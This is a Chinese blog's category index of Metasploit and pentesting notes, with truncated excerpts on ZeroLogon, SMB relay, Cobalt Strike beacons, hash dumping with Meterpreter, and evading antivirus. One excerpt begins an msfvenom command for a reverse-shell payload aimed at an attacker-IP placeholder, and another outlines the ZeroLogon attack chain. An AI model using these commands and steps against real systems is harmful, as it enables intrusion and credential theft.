随笔分类 -  metasploit

msf
ZeroLogon(CVE-2020-1472)
摘要：随手记 能访问到目标域控井且知道域控计算机名即可利用该漏洞 .该漏洞不要求当前计算机在域内，也不要求当前计算机操作系统为windows，该漏洞的稳定利用方式为重置目标域控的密码， 然后利用城控凭证进行Dc sync获取域管权限后修复域控密码，之所以不直接使用域控凭证远程执行命令，是因为域控账户是不可 阅读全文
posted @ 2019-12-08 23:28 卿先生 阅读(786) 评论(0) 推荐(0) 编辑
smb relay中继攻击(metasploit)
摘要：简单记录 →SMB: 服务器消息块（SMB）协议是一种网络文件共享协议，在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件，磁盘，目录，打印机等。在Windows 2000之前，SMB过去通过TCP / IP端口139与NetBIOS一起运行。因此，建 阅读全文
posted @ 2019-09-17 08:08 卿先生 阅读(1331) 评论(0) 推荐(0) 编辑
cobalt strike笔记-常用beacon扫盲
摘要：最近还是重新补一下cs的东西 0x01 Beacon命令 interact来使用Beacon Beacon可以选择通过DNS还是HTTP协议出口网络，你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。 为了能快速显示结果，可以设置 beacon>sleep 0 0x02 常用beacon隧 阅读全文
posted @ 2019-09-13 21:57 卿先生 阅读(4291) 评论(0) 推荐(0) 编辑
后门木马免杀-msfvenom和msf5(evasion)
摘要：贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/sh 阅读全文
posted @ 2019-08-28 07:18 卿先生 阅读(7410) 评论(0) 推荐(0) 编辑
meterpreter读取hash明文记录
摘要：今天测试某个站点时读hash老出错 这里做下读hash的笔记 进去meterpreter后getuid一 1 2 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 1 2 meterpreter > getuid Server use 阅读全文
posted @ 2019-06-05 19:40 卿先生 阅读(1084) 评论(0) 推荐(0) 编辑
11
摘要：111 阅读全文
posted @ 2019-04-25 21:11 卿先生 阅读(1102) 评论(0) 推荐(0) 编辑
metasploit(MSF)渗透平台命令大全
摘要：转自互联网 记录以备后用 阅读全文
posted @ 2019-04-25 19:31 卿先生 阅读(5486) 评论(0) 推荐(0) 编辑
MSF内网渗透 扫描模块
摘要：端口扫描 auxiliary/scanner/portscanscanner/portscan/ack ACK防火墙扫描scanner/portscan/ftpbounce FTP跳端口扫描scanner/portscan/syn SYN端口扫描scanner/portscan/tcp TCP端口扫 阅读全文
posted @ 2019-04-06 12:28 卿先生 阅读(3731) 评论(0) 推荐(0) 编辑
Meterpreter后渗透之信息收集
摘要：在获得目标的Meterpreter shell后 进行信息收集是后渗透工作的基础 记录一下关于meterpreter 信息收集的使用 环境: kali linux 192.168.190.141 xp靶机 192.168.190.140 生成木马 监听反弹shell上线 信息收集: 0x01进程迁移 阅读全文
posted @ 2019-03-11 10:35 卿先生 阅读(1524) 评论(0) 推荐(0) 编辑

点击右上角即可分享
微信分享提示